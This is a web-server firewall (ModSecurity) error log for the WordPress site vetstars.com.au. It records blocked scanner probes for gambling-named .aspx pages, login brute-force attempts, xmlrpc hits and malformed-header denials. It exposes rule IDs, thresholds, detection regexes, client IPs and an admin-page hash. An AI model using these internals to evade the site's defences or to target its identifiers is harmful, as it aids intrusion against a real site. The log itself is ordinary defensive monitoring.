[Wed Apr 29 14:09:44.007494 2026] [:error] [pid 22901:tid 22913] [client 135.181.180.59:27306] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afGgqBvfVEXI-f42iRRIdgAAAQo"]
[Wed Apr 29 14:09:46.622547 2026] [:error] [pid 61628:tid 61639] [client 135.181.180.59:46406] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "afGgqvXzdLVcrP-YPZg6jgAAAMY"]
[Wed Apr 29 14:09:49.043302 2026] [:error] [pid 61628:tid 61651] [client 135.181.180.59:46420] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afGgrfXzdLVcrP-YPZg6jwAAANI"]
[Wed Apr 29 14:09:51.605367 2026] [:error] [pid 44860:tid 44884] [client 135.181.180.59:46436] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "afGgr0Q82el2g7ESJ1550wAAAlY"]
[Wed Apr 29 14:09:54.090705 2026] [:error] [pid 44860:tid 44868] [client 135.181.180.59:46442] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afGgskQ82el2g7ESJ1551QAAAkY"]
[Wed Apr 29 14:09:56.618245 2026] [:error] [pid 45085:tid 45089] [client 135.181.180.59:7968] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "afGgtNS7eNjgd8gD6Zzo7AAAAsI"]
[Wed Apr 29 14:09:59.126028 2026] [:error] [pid 22901:tid 22923] [client 135.181.180.59:7982] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "afGgtxvfVEXI-f42iRRIfAAAARQ"]
[Wed Apr 29 14:10:56.018984 2026] [:error] [pid 44766:tid 44771] [client 135.181.180.59:2996] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "afGg8KVI9GtM_JyauAIxKQAAAYM"]
[Wed Apr 29 14:10:58.498231 2026] [:error] [pid 2604:tid 2607] [client 135.181.180.59:3000] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afGg8hx5WQMU1W68tTYaDAAAAEE"]
[Wed Apr 29 14:11:00.969046 2026] [:error] [pid 45085:tid 45107] [client 135.181.180.59:3002] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afGg9NS7eNjgd8gD6Zzo-QAAAtQ"]
[Wed Apr 29 14:11:03.541880 2026] [:error] [pid 45054:tid 45062] [client 135.181.180.59:3018] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afGg94tL6SUL31r23c-ItAAAAoY"]
[Wed Apr 29 14:11:06.151415 2026] [:error] [pid 2604:tid 2621] [client 135.181.180.59:36874] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afGg-hx5WQMU1W68tTYaEAAAAE8"]
[Wed Apr 29 14:11:08.630832 2026] [:error] [pid 45054:tid 45078] [client 135.181.180.59:36888] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afGg_ItL6SUL31r23c-IvQAAApY"]
[Wed Apr 29 14:11:11.221922 2026] [:error] [pid 45289:tid 45292] [client 135.181.180.59:36898] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "afGg_1_vGmZY7dOOIwrH4wAAA4A"]
[Wed Apr 29 14:11:13.679935 2026] [:error] [pid 45085:tid 45093] [client 135.181.180.59:36902] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afGhAdS7eNjgd8gD6ZzpAgAAAsY"]
[Wed Apr 29 14:11:16.129687 2026] [:error] [pid 61540:tid 61580] [client 135.181.180.59:49944] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "afGhBOQ8cJB7pQslzIfDJgAAAIc"]
[Wed Apr 29 14:11:18.693205 2026] [:error] [pid 45054:tid 45080] [client 135.181.180.59:49952] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afGhBotL6SUL31r23c-IywAAApg"]
[Wed Apr 29 14:20:39.059309 2026] [:error] [pid 61628:tid 61649] [client 35.226.125.165:40078] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.226.125.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afGjN_XzdLVcrP-YPZg63gAAANA"]
[Wed Apr 29 14:45:49.646541 2026] [:error] [pid 45054:tid 45075] [client 43.153.26.165:47106] [client 43.153.26.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afGpHYtL6SUL31r23c-VsAAAApM"]
[Wed Apr 29 15:07:00.493780 2026] [:error] [pid 44766:tid 44774] [client 157.66.26.248:40006] [client 157.66.26.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.66.26.248, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afGuFKVI9GtM_JyauAI2wgAAAYY"]
[Wed Apr 29 15:27:46.981129 2026] [:error] [pid 45085:tid 45088] [client 45.119.85.39:53599] [client 45.119.85.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.85.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp/wp-login.php"] [unique_id "afGy8tS7eNjgd8gD6ZzzbgAAAsE"], referer: https://www.google.com
[Wed Apr 29 15:27:46.981252 2026] [:error] [pid 45085:tid 45088] [client 45.119.85.39:53599] [client 45.119.85.39] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 45.119.85.39 on wp-login.php, counter = 63"] [hostname "vetstars.com.au"] [uri "/wp/wp-login.php"] [unique_id "afGy8tS7eNjgd8gD6ZzzbgAAAsE"], referer: https://www.google.com
[Wed Apr 29 15:47:44.586009 2026] [:error] [pid 45085:tid 45092] [client 45.119.85.39:50966] [client 45.119.85.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.85.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "afG3oNS7eNjgd8gD6Zz2BAAAAsU"], referer: https://www.google.com
[Wed Apr 29 15:47:44.586088 2026] [:error] [pid 45085:tid 45092] [client 45.119.85.39:50966] [client 45.119.85.39] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 45.119.85.39 on wp-login.php, counter = 237"] [hostname "vetstars.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "afG3oNS7eNjgd8gD6Zz2BAAAAsU"], referer: https://www.google.com
[Wed Apr 29 15:51:44.836749 2026] [:error] [pid 22901:tid 22920] [client 95.173.103.120:40094] [client 95.173.103.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.173.103.120, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afG4kBvfVEXI-f42iRRRCQAAARE"]
[Wed Apr 29 17:53:25.896279 2026] [:error] [pid 45054:tid 45071] [client 43.153.27.244:57670] [client 43.153.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afHVFYtL6SUL31r23c_AyQAAAo8"]
[Wed Apr 29 20:05:03.041435 2026] [:error] [pid 21536:tid 21556] [client 123.28.161.249:45145] [client 123.28.161.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.28.161.249, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afHz7yREaVkH9P5H_LQIeAAAAJI"]
[Wed Apr 29 20:44:10.668387 2026] [:error] [pid 21138:tid 21206] [client 34.101.217.251:39154] [client 34.101.217.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.101.217.251, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afH9GpuzwUiyMeUnp33biQAAAQk"]
[Wed Apr 29 21:46:17.354419 2026] [:error] [pid 21136:tid 21146] [client 103.172.76.104:6719] [client 103.172.76.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.172.76.104, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afILqSlIfGGQdPVv8_PtEwAAAEU"]
[Wed Apr 29 21:46:22.795114 2026] [:error] [pid 21536:tid 21554] [client 103.172.76.104:10606] [client 103.172.76.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.172.76.104, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afILriREaVkH9P5H_LQs5AAAAJA"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F&reauth=1
[Wed Apr 29 21:56:43.525442 2026] [:error] [pid 21137:tid 21189] [client 52.64.60.55:1764] [client 52.64.60.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.64.60.55, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afIOG_w-HnaioFPIurVlxgAAABQ"], referer: https://vetstars.com.au/wp-admin/options.php?adminhash=6ef1cce2ef7a9039e706e7edbb603de6
[Wed Apr 29 22:41:39.939271 2026] [:error] [pid 21536:tid 21546] [client 175.178.110.121:47624] [client 175.178.110.121] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afIYoyREaVkH9P5H_LQzvQAAAIg"]
[Wed Apr 29 23:59:55.959900 2026] [:error] [pid 47618:tid 47639] [client 43.130.72.40:60534] [client 43.130.72.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afIq-3HYUSxIrhce2OA7oQAAAVI"]
[Thu Apr 30 03:18:59.836425 2026] [:error] [pid 21137:tid 21171] [client 43.157.20.63:51976] [client 43.157.20.63] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afJZo_w-HnaioFPIurWq8AAAAAI"]
[Thu Apr 30 05:56:49.219084 2026] [:error] [pid 18112:tid 18167] [client 88.134.110.36:29152] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afJ-oSUrJv3y8j6Lm1ubCAAAAFE"]
[Thu Apr 30 05:56:51.698090 2026] [:error] [pid 52436:tid 52458] [client 88.134.110.36:64030] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afJ-owLFWPk_P7AfE8fiQwAAAVM"]
[Thu Apr 30 05:56:54.140674 2026] [:error] [pid 52436:tid 52445] [client 88.134.110.36:61630] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afJ-pgLFWPk_P7AfE8fiRQAAAUY"]
[Thu Apr 30 05:56:56.559509 2026] [:error] [pid 52436:tid 52446] [client 88.134.110.36:61159] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afJ-qALFWPk_P7AfE8fiTwAAAUc"]
[Thu Apr 30 05:56:59.216772 2026] [:error] [pid 52350:tid 52379] [client 88.134.110.36:17578] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afJ-q_1j4GHE9hm7bfc4ngAAARU"]
[Thu Apr 30 05:57:01.796326 2026] [:error] [pid 18112:tid 18171] [client 88.134.110.36:37345] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afJ-rSUrJv3y8j6Lm1ubCQAAAFU"]
[Thu Apr 30 05:57:04.437662 2026] [:error] [pid 18220:tid 18226] [client 88.134.110.36:58464] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afJ-sMyESVSfAPebmxboGAAAAMM"]
[Thu Apr 30 05:57:06.827774 2026] [:error] [pid 52436:tid 52458] [client 88.134.110.36:46478] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afJ-sgLFWPk_P7AfE8fiXgAAAVM"]
[Thu Apr 30 05:57:09.248533 2026] [:error] [pid 18111:tid 18126] [client 88.134.110.36:54292] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afJ-tWctLbxB7Q1_oK1_LQAAAAQ"]
[Thu Apr 30 05:57:11.872183 2026] [:error] [pid 52436:tid 52452] [client 88.134.110.36:52520] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afJ-twLFWPk_P7AfE8fiZQAAAU0"]
[Thu Apr 30 05:57:14.259281 2026] [:error] [pid 18220:tid 18234] [client 88.134.110.36:15100] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afJ-usyESVSfAPebmxboGgAAAMs"]
[Thu Apr 30 05:57:16.653217 2026] [:error] [pid 18112:tid 18171] [client 88.134.110.36:64078] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afJ-vCUrJv3y8j6Lm1ubIAAAAFU"]
[Thu Apr 30 05:57:19.183451 2026] [:error] [pid 18220:tid 18247] [client 88.134.110.36:62694] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afJ-v8yESVSfAPebmxboPgAAANg"]
[Thu Apr 30 05:57:21.595152 2026] [:error] [pid 52350:tid 52374] [client 88.134.110.36:62591] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "afJ-wf1j4GHE9hm7bfc48AAAARA"]
[Thu Apr 30 05:57:23.970552 2026] [:error] [pid 18113:tid 18187] [client 88.134.110.36:17972] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "afJ-w3iIjwsVGkvz5IlS2gAAAIo"]
[Thu Apr 30 05:57:26.534648 2026] [:error] [pid 52350:tid 52371] [client 88.134.110.36:27839] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "afJ-xv1j4GHE9hm7bfc4-AAAAQ0"]
[Thu Apr 30 05:57:28.960804 2026] [:error] [pid 18220:tid 18234] [client 88.134.110.36:50064] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "afJ-yMyESVSfAPebmxboTQAAAMs"]
[Thu Apr 30 05:57:31.384350 2026] [:error] [pid 18113:tid 18197] [client 88.134.110.36:19945] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "afJ-y3iIjwsVGkvz5IlS2wAAAJQ"]
[Thu Apr 30 05:57:33.989946 2026] [:error] [pid 18113:tid 18195] [client 88.134.110.36:14226] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "afJ-zXiIjwsVGkvz5IlS3wAAAJI"]
